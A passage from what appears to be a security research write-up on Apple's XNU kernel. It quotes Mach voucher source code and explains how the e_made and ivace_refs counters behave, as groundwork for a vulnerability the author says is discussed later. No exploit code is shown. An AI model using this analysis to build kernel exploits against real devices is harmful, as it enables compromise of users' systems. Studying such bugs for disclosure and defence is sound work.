<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">user_data_dedup</span><span> searches the </span><span class="BGLtzooHlW-c11">user_data_bucket</span><span> hash table to see if a matching </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> already exists. If not, it allocates one and adds it to the hash table. Note that it's not allowed to hold locks while calling </span><span class="BGLtzooHlW-c11">kalloc()</span><span> so the code first has to drop the </span><span class="BGLtzooHlW-c11">user_data</span><span> lock, allocate a </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> then take the lock again and check the hash table a second time to ensure that another thread didn't also allocate and insert a matching </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span class="BGLtzooHlW-c10"> while the lock was dropped.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The </span><span class="BGLtzooHlW-c11">e_made</span><span> field of </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span class="BGLtzooHlW-c10"> is critical to the vulnerability we're eventually going to discuss, so let's examine its use here.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>If a new </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> is created its </span><span class="BGLtzooHlW-c11">e_made</span><span> field is initialized to 1. If an existing </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> is found which matches the requested content buffer the </span><span class="BGLtzooHlW-c11">e_made</span><span> field is incremented before a pointer to that </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> is returned. Redeeming a </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> (via the </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REDEEM</span><span> command) also just increments the </span><span class="BGLtzooHlW-c11">e_made</span><span> of the element being redeemed before returning it. The type of the </span><span class="BGLtzooHlW-c11">e_made</span><span> field is </span><span class="BGLtzooHlW-c11">mach_voucher_attr_value_reference_t</span><span class="BGLtzooHlW-c10"> so it's tempting to believe that this field is a reference count. The reality is more subtle than that though.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The first hint that </span><span class="BGLtzooHlW-c11">e_made</span><span> isn't exactly a reference count is that if you search for </span><span class="BGLtzooHlW-c11">e_made</span><span> in XNU you'll notice that it's never decremented. There are also no places where a pointer to that structure is cast to another type which treats the first dword as a reference count. </span><span class="BGLtzooHlW-c11">e_made</span><span> can only ever go up (well technically there's also nothing stopping it overflowing so it can also go down 1 in every 2</span><span class="BGLtzooHlW-c28">32</span><span class="BGLtzooHlW-c10"> increments...)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's go back up the stack to the caller of </span><span class="BGLtzooHlW-c11">user_data_get_value</span><span>, </span><span class="BGLtzooHlW-c11">ipc_replace_voucher_value</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The next part is again code for unused functionality. No current voucher attr type implementations return a </span><span class="BGLtzooHlW-c11">new_value_voucher</span><span class="BGLtzooHlW-c10"> so this condition is never true:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.4f6b8727516fb3c9c48ebff520ad8874f31f22d6"></a><a id="t.30"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* TODO: value insertion from returned voucher */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">IV_NULL </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> new_value_voucher</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_release</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">new_value_voucher</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Next, the code needs to wrap </span><span class="BGLtzooHlW-c11">new_value</span><span> in an </span><span class="BGLtzooHlW-c11">ivace_entry</span><span> and determine the index of that </span><span class="BGLtzooHlW-c11">ivace_entry</span><span> in the controller's table of values. This is done by </span><span class="BGLtzooHlW-c11">ivace_reference_by_value</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.c4c5981b6f20ec9de21a50072140d8a412c4cbbe"></a><a id="t.31"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * Find or create a slot in the table associated</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * with this attribute value. The ivac reference</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * is transferred to a new value, or consumed if</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * we find a matching existing value.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> val_index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace_reference_by_value</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> new_value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> new_flag</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_set</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key_index</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> val_index</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.14867f48cf979ee62c6fdccbefa3859e7dda3ebe"></a><a id="t.32"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * Look up the values for a given <key, index> pair.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> *</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * Consumes a reference on the passed voucher control.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * Either it is donated to a newly-created value cache</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * or it is released (if we piggy back on an existing</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * value cache entry).</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c3"> iv_index_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">ivace_reference_by_value</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_control_t ivac</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_handle_t value</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_flags_t flag</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_entry_t ivace </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> IVACE_NULL</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t hash_index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">IVAC_NULL </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> IV_UNUSED_VALINDEX</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_lock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">restart</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> hash_index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> IV_HASH_VAL</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_init_table_size</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> value</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">hash_index</span><span class="BGLtzooHlW-c2">].</span><span class="BGLtzooHlW-c4">ivace_index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">while</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">index </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> IV_HASH_END</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">index </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">index</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(!</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_free</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> value</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">break</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_next </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> index</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_next</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* found it? */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">index </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> IV_HASH_END</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* only add reference on non-persistent value */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(!</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_persist</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs</span><span class="BGLtzooHlW-c2">++;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made</span><span class="BGLtzooHlW-c2">++;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_release</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* insert new entry in the table */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_freelist</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">IV_FREELIST_END </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> index</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* freelist empty */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_grow_table</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">goto</span><span class="BGLtzooHlW-c4"> restart</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* take the entry off the freelist */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">index</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_freelist </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_next</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* initialize the new entry */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> value</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_free </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_persist </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">flag </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_VALUE_FLAGS_PERSIST</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">?</span><span class="BGLtzooHlW-c4"> TRUE </span><span class="BGLtzooHlW-c2">:</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* insert the new entry in the proper hash chain */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_next </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">hash_index</span><span class="BGLtzooHlW-c2">].</span><span class="BGLtzooHlW-c4">ivace_index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">hash_index</span><span class="BGLtzooHlW-c2">].</span><span class="BGLtzooHlW-c4">ivace_index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* donated passed in ivac reference to new entry */</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>You'll notice that this code has a very similar structure to </span><span class="BGLtzooHlW-c11">user_data_dedup</span><span>; it needs to do almost exactly the same thing. Under a lock (this time the controller's lock) traverse a hash table looking for a matching value. If one can't be found, allocate a new entry and put the value in the hash table. The same unlock/lock dance is needed, but not every time because </span><span class="BGLtzooHlW-c11">ivace</span><span>'s are kept in a table of </span><span class="BGLtzooHlW-c11">struct ivac_entry_s</span><span class="BGLtzooHlW-c10">'s so the lock only needs to be dropped if the table needs to grow.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>If a new entry is allocated (from the freelist of </span><span class="BGLtzooHlW-c11">ivac_entry</span><span>'s in the table) then its reference count (</span><span class="BGLtzooHlW-c11">ivace_refs</span><span>) is set to 1, and its </span><span class="BGLtzooHlW-c11">ivace_made</span><span> count is set to 1. If an existing entry is found then both its </span><span class="BGLtzooHlW-c11">ivace_refs</span><span> and </span><span class="BGLtzooHlW-c11">ivace_made</span><span class="BGLtzooHlW-c10"> counts are incremented:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.5d6f231d91c5f3fcaedc02e8af1faacf22268e6f"></a><a id="t.33"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs</span><span class="BGLtzooHlW-c2">++;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made</span><span class="BGLtzooHlW-c2">++;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Finally, the </span><span class="BGLtzooHlW-c17">index</span><span> of this entry in the table of all the controller's entries is returned, because it's the index into that table which a voucher stores; not a pointer to the </span><span class="BGLtzooHlW-c11">ivace</span><span class="BGLtzooHlW-c10">.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">ivace_reference_by_value</span><span> then calls </span><span class="BGLtzooHlW-c11">iv_set</span><span> to store that index into the correct slot in the voucher's </span><span class="BGLtzooHlW-c11">iv_table</span><span class="BGLtzooHlW-c10">, which is just a simple array index operation:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.ac2c12e184f7c3e12da13fbd6404f62d8c16842e"></a><a id="t.34"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_set</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key_index</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> val_index</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
